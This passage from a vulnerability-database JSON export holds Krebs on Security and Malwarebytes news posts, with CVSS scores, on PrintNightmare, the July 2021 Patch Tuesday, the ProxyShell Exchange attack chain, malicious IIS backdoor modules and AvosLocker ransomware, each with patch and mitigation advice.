10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:33:35", "description": "**Microsoft **on Tuesday issued an emergency software update to quash a security bug that's been dubbed "**PrintNightmare**," a critical vulnerability in all supported versions of** Windows** that is actively being exploited. The fix comes a week ahead of Microsoft's normal monthly Patch Tuesday release, and follows the publishing of exploit code showing would-be attackers how to leverage the flaw to break into Windows computers.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2020/08/windowsec.png)\n\nAt issue is [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>), which involves a flaw in the Windows Print Spooler service that could be exploited by attackers to run code of their choice on a target's system. Microsoft says it has already detected active exploitation of the vulnerability.\n\n**Satnam Narang**, staff research engineer at** Tenable**, said Microsoft's patch warrants urgent attention because of the vulnerability's ubiquity across organizations and the prospect that attackers could exploit this flaw in order to take over a Windows domain controller.\n\n"We expect it will only be a matter of time before it is more broadly incorporated into attacker toolkits," Narang said. "PrintNightmare will remain a valuable exploit for cybercriminals as long as there are unpatched systems out there, and as we know, unpatched vulnerabilities have a long shelf life for attackers."\n\nIn [a blog post](<https://msrc-blog.microsoft.com/2021/07/06/out-of-band-oob-security-update-available-for-cve-2021-34527/>), Microsoft's Security Response Center said it was delayed in developing fixes for the vulnerability in **Windows Server 2016**, **Windows 10 version 1607**, and **Windows Server 2012**. The fix also apparently includes a new feature that allows Windows administrators to implement stronger restrictions on the installation of printer software.\n\n"Prior to installing the July 6, 2021, and newer Windows Updates containing protections for CVE-2021-34527, the printer operators\u2019 security group could install both signed and unsigned printer drivers on a printer server," reads Microsoft's [support advisory](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>). "After installing such updates, delegated admin groups like printer operators can only install signed printer drivers. Administrator credentials will be required to install unsigned printer drivers on a printer server going forward.\u201d\n\nWindows 10 users can check for the patch by opening Windows Update. Chances are, it will show what's pictured in the screenshot below -- that **KB5004945** is available for download and install. A reboot will be required after installation.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2021/07/kb5004945.png)\n\nFriendly reminder: It's always a good idea to backup your data before applying security updates. Windows 10 [has some built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once. \n\nMicrosoft's out-of-band update may not completely fix the PrinterNightmare vulnerability. Security researcher [Benjamin Delpy](<https://blog.gentilkiwi.com/>) [posted on Twitter](<https://twitter.com/gentilkiwi/status/1412771368534528001>) that the exploit still works on a fully patched Windows server if the server also has Point & Print enabled -- a Windows feature that automatically downloads and installs available printer drivers.\n\nDelpy said it's common for organizations to enable Point & Print using group policies because it allows users to install printer updates without getting approval first from IT. \n\nThis post will be updated if Windows users start reporting any issues in applying the patch.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T14:34:59", "type": "krebs", "title": "Microsoft Issues Emergency Patch for Windows Flaw", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-07T14:34:59", "id": "KREBS:3CC49021549439F95A2EDEB2029CF54E", "href": "https://krebsonsecurity.com/2021/07/microsoft-issues-emergency-patch-for-windows-flaw/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2021-07-20T08:33:57", "description": "The list of July 2021 Patch Tuesday updates looks endless. 117 patches with no less than 42 CVEs assigned to them that have FAQs, mitigations details or workarounds listed for them. Looking at the urgency levels Microsoft has assigned to them, system administrators have their work cut out for them once again:\n\n * 13 criticial patches\n * 103 important patches\n\nYou can find the list of CVEs that have FAQs, mitigations, or workarounds on the Microsoft [July release notes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) page.\n\nSix vulnerabilities were previously disclosed and four are being exploited in-the-wild, according to Microsoft. One of those CVE\u2019s is a familiar one, [2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) aka the anyone-can-run-code-as-domain-admin RCE known as [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>). Microsoft issued out-of-band patches for that vulnerability a week ago, but those were [not as comprehensive](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) as one might have hoped. \n\nSince then, the Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. These directive list required actions for all Federal Civilian Executive Branch agencies.\n\n### Priorities\n\nBesides the ongoing PrintNightmare, er, nightmare, there are some others that deserve your undivided attention. Vulnerabilities being exploited in the wild, besides PrintNightmare, are:\n\n * [CVE-2021-34448](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34448>) Scripting Engine Memory Corruption Vulnerability for Windows Server 2012 R2 and Windows 10.\n * [CVE-2021-33771](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33771>) Windows Kernel Elevation of Privilege Vulnerability for Windows Server 2012, Server 2016, Windows 8.1, and Windows 10.\n * [CVE-2021-31979](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31979>) Windows Kernel Elevation of Privilege Vulnerability for Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, Windows Server 2016, and Windows Server 2019.\n\nOther vulnerabilities that are not seen exploited in the wild yet, but are likely candidates to make that list soon:\n\n * [CVE-2021-34458](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34458>) Windows Kernel Remote Code Execution Vulnerability for some Windows Server versions, if the system is hosting virtual machines, or the Server includes hardware with SR-IOV devices.\n * [CVE-2021-34494](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34494>) Windows DNS Server Remote Code Execution Vulnerability for Windows Server versions if the server is configured to be a DNS server.\n\n### Exchange Server\n\nAnother ongoing effort to patch vulnerable systems has to do with Microsoft Exchange Server. Flaws that were actually already [patched in April](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>) have now been assigned new CVE numbers [CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>) (Microsoft Exchange Server Remote Code Execution Vulnerability) and [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>) (Microsoft Exchange Server Elevation of Privilege Vulnerability). As you may remember this combo of elevation of privilege (EOP) and remote code execution (RCE) caused quite the [panic](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>) when attackers started using the Exchange bugs to access vulnerable servers before establishing web shells to gain persistence and steal information.\n\nIf you applied the patches in April, you are already protected. If you didn\u2019t, move them to the top of your to-do-list.\n\n### Windows Media Foundation\n\nTwo other critical vulnerabilities, and one considered important, were found in Microsoft Windows Media Foundation. Microsoft Media Foundation enables the development of applications and components for using digital media on Windows Vista and later. If you do have this multimedia platform installed on your system you are advised to apply the patches, but note that many of them include the [Flash](<https://blog.malwarebytes.com/awareness/2021/01/adobe-flash-player-reaches-end-of-life/>) Removal Package. So do the patches for [CVE-2021-34497](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34497>) a critical Windows MSHTML Platform RCE vulnerability.\n\nStay safe, everyone!\n\nThe post [Four in-the-wild exploits, 13 critical patches headline bumper Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/four-in-the-wild-exploits-13-critical-patches-headline-bumper-patch-tuesday/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-14T11:56:06", "type": "malwarebytes", "title": "Four in-the-wild exploits, 13 critical patches headline bumper Patch Tuesday", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34473", "CVE-2021-34494", "CVE-2021-34497", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-14T11:56:06", "id": "MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/four-in-the-wild-exploits-13-critical-patches-headline-bumper-patch-tuesday/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-23T18:35:00", "description": "Last Saturday the Cybersecurity and Infrastructure Security Agency issued an [urgent warning](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>) that threat actors are actively exploiting three Microsoft Exchange vulnerabilities\u2014[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>), [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>), and [CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>). These vulnerabilities can be chained together to remotely execute arbitrary code on a vulnerable machine.\n\nThis set of Exchange vulnerabilities is often grouped under the name ProxyShell. Fixes were available in the [May 2021 Security Updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-May>) issued by Microsoft. (To be more precise, the first two were patched in April and CVE-2021-31207 was patched in May.)\n\n### The attack chain\n\nSimply explained, these three vulnerabilities can be chained together to allow a remote attacker to run code on the unpatched server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34523, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\n### ProxyShell\n\nThe Record reports that ProxyShell has been used to [take over some 2,000 Microsoft Exchange mail servers](<https://therecord.media/almost-2000-exchange-servers-hacked-using-proxyshell-exploit/>) in just two days. This can only happen where organisations use the on-premise version of Exchange, and system administrators haven't installed the April and May patches.\n\nWe know there are many reasons why patching is difficult, and often slow. The high number is surprising though, given the noise level about Microsoft Exchange vulnerabilities has been high since [March](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Although it may have been muffled by the other alarm cries about PrintNightmare, HiveNightmare, PetitPotam, and many others.\n\n### Ransomware\n\nSeveral researchers have pointed to a ransomware group named LockFile that combines ProxyShell with [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>). [Kevin Beaumont](<https://twitter.com/GossiTheDog>) has documented how his Exchange honeypot detected exploitation by ProxyShell to drop a [webshell](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). Later, the threat actor revisited to initiate the staging of artefacts related to the LockFile ransomware. For those interested in how to identify whether their servers are vulnerable, and technical details about the stages in this attack, we highly recommend you read [Kevin Beaumont\u2019s post](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>).\n\n### PetitPotam\n\nBefore we can point out how ProxyShell can lead to a full blown network-wide ransomware infection we ought to tell you more about PetiPotam. PetitPotam enables a threat actor to launch an NTLM relay attack on domain controllers.\n\nPetitPotam uses the `EfsRpcOpenFileRaw` function of the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC) API. MS-EFSRPC is used for maintenance and management operations on encrypted data that is stored remotely, and accessible over a network. The PetitPotam proof-of-concept (PoC) takes the form of a manipulator-in-the-middle (MitM) attack against Microsoft\u2019s NTLM authentication system. The targeted computer is forced to initiate an authentication procedure and share its authentication details via NTLM.\n\nSince the PetitPotam attack is not based on a vulnerability but uses a legitimate function in a way that was not intended, it will be hard to patch for this attack without \u201cbreaking stuff.\u201d Further, stopping the Encrypting File System (EFS) service does not prevent the technique from being exploited. (For mitigation details, see our post about [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>).)\n\n### LockFile\n\nLockFile attacks have been recorded mostly in the US and Asia, focusing on organizations in financial services, manufacturing, engineering, legal, business services, travel, and tourism. Symantec pointed out in a [blog post](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that the ransom note from LockFile ransomware is very similar to the one used by the [LockBit](<http://blog.malwarebytes.com/detections/ransom-lockbit/>) ransomware group and that they reference the Conti gang in their email address. This may mean that members of those gangs have started a new operation, or just be another indication of how all these gangs are [connected, and sharing resources and tactics](<https://blog.malwarebytes.com/ransomware/2021/04/how-ransomware-gangs-are-connected-and-sharing-resources-and-tactics/>).\n\n### Advice\n\nCISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply Microsoft's Security Update from May 2021\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks.\n\nWe would like to add that you have a look at the mitigation advice for PetitPotam and prioritize tackling these problems in your updating processes.\n\nStay safe, everyone!\n\nThe post [Patch now! Microsoft Exchange is being attacked via ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-23T13:21:08", "type": "malwarebytes", "title": "Patch now! Microsoft Exchange is being attacked via ProxyShell", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:21:08", "id": "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-27T16:38:26", "description": "The [Microsoft 365 Defender Research Team](<https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/>) has warned that attackers are increasingly leveraging Internet Information Services (IIS) extensions as covert backdoors into servers.\n\nIIS extensions are able to stay hidden in target environments and as such provide a long-term persistence mechanism for attackers.\n\n## IIS\n\nIIS is webserver software created by Microsoft that runs on Windows systems. Most commonly, organizations use IIS to host ASP.NET web applications and static websites. It can also be used as an FTP server, host WCF services, and be extended to host web applications built on other platforms such as PHP.\n\nExchange Server 2016 and Exchange Server 2019 automatically configure multiple Internet Information Services (IIS) virtual directories during the server installation. As a result, administrators are not always aware of the origin of some directories and their functionality.\n\n## IIS modules\n\nThe IIS 7 and above web server feature set is componentized into more than thirty independent modules. A module is either a Win32 DLL (native module) or a .NET 2.0 type contained within an assembly (managed module). Similar to a set of building blocks, modules are added to the server in order to provide the desired functionality for applications.\n\nMalicious IIS modules are near perfect backdoors. Once installed, they will respond to specifically crafted HTTP requests sent by the operator instructing the server to collect emails, add further malicious access, or use the compromised servers for clandestine purposes. These requests will seem normal to the unsuspicious eye.\n\n## IIS backdoors\n\nIIS backdoors are harder to detect since they mostly reside in the same directories as legitimate modules, and they follow the same code structure as clean modules. The actual backdoor code is hard to detect as such and that also makes it hard to determine the origin.\n\n## ProxyLogon and ProxyShell\n\nSome of the methods used to drop malicious IIS extensions are known as [ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>) and [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). ProxyLogon consists of four vulnerabilities which can be combined to form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, the attackers deploy web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nThe ProxyShell exploit is very similar to ProxyLogon and was discovered more recently. ProxyShell is a different attack chain designed to exploit three separate vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207.\n\n## Malicious behavior\n\nOn its blog, the Microsoft Team describes a custom IIS backdoor called FinanceSvcModel.dll which has a built-in capability to perform Exchange management operations, such as enumerating installed mailbox accounts and exporting mailboxes for exfiltration. What's interesting in this example is how the threat actor forced the system to use the WDigest protocol for authentication, resulting in lsass.exe retaining a copy of the user\u2019s plaintext password in memory. This allowed the threat actor to steal the actual passwords and not just the hashes.\n\nCredential stealing can be a goal by itself. But stolen credentials also allow the attackers to remain persistent in the environment, even if the primary backdoor is detected. Credential stealing modules monitor for specific requests to determine a sign-in activity and dump the provided credentials in a file the threat actor can retrieve later.\n\nGiven the rising energy prizes and the falling, yet still profitable, cryptocurrency exchange rates, we wouldn\u2019t be surprised to find servers abused for cryptomining. A few years ago we saw threat actors leveraging an [IIS 6.0 vulnerability](<https://www.bleepingcomputer.com/news/security/windows-servers-targeted-for-cryptocurrency-mining-via-iis-flaw/>) to take over Windows servers and install a malware strain that mined the Electroneum cryptocurrency.\n\n## Mitigation, detection, and remediation\n\nThere are several thing you can do to minimize the risk and consequences of a malicious IIS extension:\n\n * Keep your server software up to date to minimize the risk of infection.\n * Use security software that also covers your servers.\n * Regularly check loaded IIS modules on exposed IIS servers (notably Exchange servers), leveraging existing tools from the IIS servers suite.\n * Deploy a backup strategy that creates regular backups that are easy to deploy when needed.\n * Review permission and access policies, combined with credential hygiene.\n * Prioritize alerts that show patterns of server compromise. It can help to catch attacks in the exploratory phase, the period in which attackers spend time exploring the environment after gaining initial access.\n\nStay safe, everyone!\n\nThe post [IIS extensions are on the rise as backdoors to servers](<https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-27T13:58:06", "type": "malwarebytes", "title": "IIS extensions are on the rise as backdoors to servers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-07-27T13:58:06", "id": "MALWAREBYTES:B0F2474F776241731FE08EA7972E6239", "href": "https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-21T21:27:45", "description": "The FBI has issued an[ advisory](<https://www.ic3.gov/Media/News/2022/220318.pdf>) about the AvosLocker ransomware. Notably the FBI has noticed that several victims have reported Microsoft Exchange Server vulnerabilities as the intrusion vector. \n\nAvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted victims across multiple critical infrastructure sectors in the United States including financial services, critical manufacturing, and government facilities.\n\n## Threat profile\n\nAvosLocker ransomware is a multi-threaded Windows executable written in C++ that runs as a console application and shows a log of actions performed on victim systems. AvosLocker ransomware encrypts files on a victim\u2019s server and renames them with the \u201c.avos\u201d extension.\n\nThe AvosLocker executable leaves a ransom note called GET_YOUR_FILES_BACK.txt in all directories where encryption occurs. The ransom note includes a .onion site that contains instructions for paying the ransom and receiving a decryption key.\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/ransom_note-1-600x313.png)\n\n> _Attention!_\n> \n> _Your systems have been encrypted, and your confidential documents were downloaded._\n> \n> _In order to restore your data, you must pay for the decryption key & application._\n> \n> _You may do so by visiting us at <onion address>._\n> \n> _This is an onion address that you may access using Tor Browser which you may download at <https://www.torproject.org/download/>_\n> \n> _Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website._\n> \n> _Contact us soon, because those who don\u2019t have their data leaked in our press release blog and the price they\u2019ll have to pay will go up significantly._\n> \n> _The corporations whom don\u2019t pay or fail to respond in a swift manner have their data leaked in our blog, accessible at <onion address>_\n\nSo, besides encrypting your files, AvosLocker also exfiltrates data and threatens to publish the stolen data to its leaks site. The public leak site not only lists victims of AvosLocker, along with a sample of data allegedly stolen from the victim\u2019s network, but also gives visitors an opportunity to view a sample of victim data and to purchase that data.\n\nThe FBI also notes that in some cases, AvosLocker victims receive phone calls from an AvosLocker representative. The caller encourages the victim to go to the .onion site to negotiate, and threatens to post stolen data online. In some cases, AvosLocker actors will threaten and execute distributed denial-of-service (DDoS) attacks during negotiations.\n\n## Exchange vulnerabilities\n\nSince AvosLocker is a Ransomware-as-a-Service it may depend on the affiliate which of the vulnerabilities gets used.\n\nThe Exchange Server vulnerabilities are named as: CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, and CVE-2021-26855.\n\n[CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>): a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process. This is the way in.\n\n[CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>): a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions. This is how they take control.\n\n[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>): a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files. This allows the attacker to drop malware on the server and run it.\n\nThis is exactly the same attack chain we [described](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) in August 2021. This chain of attack was generally referred to as ProxyShell.\n\nAnother RCE vulnerability in Exchange Server has been seen as well:\n\n[CVE-2021-26855](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855>): the ProxyLogon vulnerability which we discussed in detail in our article on [Microsoft Exchange attacks causing panic as criminals go shell collecting](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). The vulnerability allows an attacker to drop a webshell on a vulnerable Exchange Server. A web shell is a script used by an attacker that allows them to escalate and maintain persistent access on an already compromised web application. (Obviously, not every web shell is malicious, but the non-malicious ones are not interesting to us in this context.)\n\n## Mitigation\n\nAs we stated earlier, all these vulnerabilities have been patched. So, if you are wondering which updates to install next and you are running one or more Microsoft Exchange Server instances, starting there might be a good idea.\n\nMicrosoft\u2019s team has published a [script on GitHub](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) that can check the status of protection against ProxyLogon vulnerabilities of Exchange servers.\n\n## Detection\n\nMalwarebytes detects AvosLocker as [Ransom.AvosLocker](<https://blog.malwarebytes.com/detections/ransom-avoslocker/>).\n\n![](https://blog.malwarebytes.com/wp-content/uploads/2022/03/detection-2.png)_Malwarebytes blocks Ransom.AvosLocker_\n\nStay safe, everyone!\n\nThe post [AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI](<https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-21T21:09:12", "type": "malwarebytes", "title": "AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-21T21:09:12", "id": "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "href": "https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-14T12:38:34", "description": "Last week we wrote about [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>), a vulnerability that was supposed to be patched but wasn't. After June's Patch Tuesday, researchers found that the patch did not work in every case, most notably on modern domain controllers. Yesterday, Microsoft issued a set of out-of-band patches that sets that aims to set that right by fixing the Windows Print Spooler Remote Code Execution vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n### Serious problem\n\nFor 